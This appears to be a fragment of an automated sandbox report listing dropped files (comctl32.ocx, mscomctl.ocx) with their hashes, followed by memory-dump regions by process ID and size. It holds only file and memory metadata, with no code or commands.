          • \??\c:\windows\comctl32.ocx
            Filesize

            595KB

            MD5

            821511549e2aaf29889c7b812674d59b

            SHA1

            3b2fd80f634a3d62277e0508bedca9aae0c5a0d6

            SHA256

            f59cdf89f0f522ce3662e09fa847bca9b277b006c415dcc0029b416c347db9c4

            SHA512

            8b2e805b916e5fbfcccb0f4189372aea006789b3847b51018075187135e9b5db9098f704c1932623f356db0ee327e1539a9bf3729947e92844a26db46555e8cd

            Download Submit

          • \??\c:\windows\mscomctl.ocx
            Filesize

            1.0MB

            MD5

            714cf24fc19a20ae0dc701b48ded2cf6

            SHA1

            d904d2fa7639c38ffb6e69f1ef779ca1001b8c18

            SHA256

            09f126e65d90026c3f659ff41b1287671b8cc1aa16240fc75dae91079a6b9712

            SHA512

            d375fd9b509e58c43355263753634368fa711f02a2235f31f7fa420d1ff77504d9a29bb70ae31c87671d50bd75d6b459379a1550907fbe5c37c60da835c60bc1

            Download Submit

          • memory/1640-77-0x0000000001AA0000-0x0000000001AA1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/1640-74-0x0000000001930000-0x0000000001931000-memory.dmp

            Filesize

            4KB

            Download

          • memory/1640-80-0x0000000000B60000-0x00000000015A4000-memory.dmp

            Filesize

            10.3MB

            Download

          • memory/1640-78-0x0000000001AB0000-0x0000000001AB1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/1640-79-0x0000000001AC0000-0x0000000001AC1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/1640-76-0x0000000001950000-0x0000000001951000-memory.dmp

            Filesize

            4KB

            Download

          • memory/1640-75-0x0000000001940000-0x0000000001941000-memory.dmp

            Filesize

            4KB

            Download

          • memory/1700-110-0x0000000006670000-0x00000000067BA000-memory.dmp

            Filesize

            1.3MB

            Download

          • memory/1700-49-0x00000000007B0000-0x0000000000902000-memory.dmp

            Filesize

            1.3MB

            Download

          • memory/1700-105-0x0000000006320000-0x0000000006370000-memory.dmp

            Filesize

            320KB

            Download

          • memory/1700-57-0x0000000005680000-0x0000000005C26000-memory.dmp

            Filesize

            5.6MB

            Download

          • memory/2376-159-0x0000000000400000-0x0000000000A06000-memory.dmp

            Filesize

            6.0MB

            Download

          • memory/2376-173-0x0000000000400000-0x0000000000A06000-memory.dmp

            Filesize

            6.0MB

            Download

          • memory/2376-45-0x0000000000400000-0x0000000000A06000-memory.dmp

            Filesize

            6.0MB

            Download

          • memory/2376-167-0x0000000000400000-0x0000000000A06000-memory.dmp

            Filesize

            6.0MB

            Download

          • memory/2376-137-0x0000000000400000-0x0000000000A06000-memory.dmp

            Filesize

            6.0MB

            Download

          • memory/3196-138-0x0000000000400000-0x00000000006CB000-memory.dmp

            Filesize

            2.8MB

            Download

          • memory/3444-166-0x0000000000400000-0x00000000006CB000-memory.dmp

            Filesize

            2.8MB

            Download

          • memory/4268-50-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

            Download

          • memory/4268-139-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

            Download

          • memory/4504-16-0x00000000002F0000-0x0000000000304000-memory.dmp

            Filesize

            80KB

            Download

          • memory/4504-164-0x00000000002F0000-0x0000000000304000-memory.dmp

            Filesize

            80KB

            Download

          • memory/4636-104-0x0000000000400000-0x0000000000410000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4636-130-0x0000000000400000-0x0000000000410000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4660-140-0x0000000000400000-0x00000000004B4000-memory.dmp

            Filesize

            720KB

            Download

          • memory/4676-133-0x0000000180000000-0x000000018008C000-memory.dmp

            Filesize

            560KB

            Download

          • memory/4676-117-0x0000000000830000-0x0000000000860000-memory.dmp

            Filesize

            192KB

            Download

          • memory/4956-157-0x0000000000400000-0x000000000040D000-memory.dmp

            Filesize

            52KB

            Download

          • memory/4956-125-0x0000000000400000-0x000000000040D000-memory.dmp

            Filesize

            52KB

            Download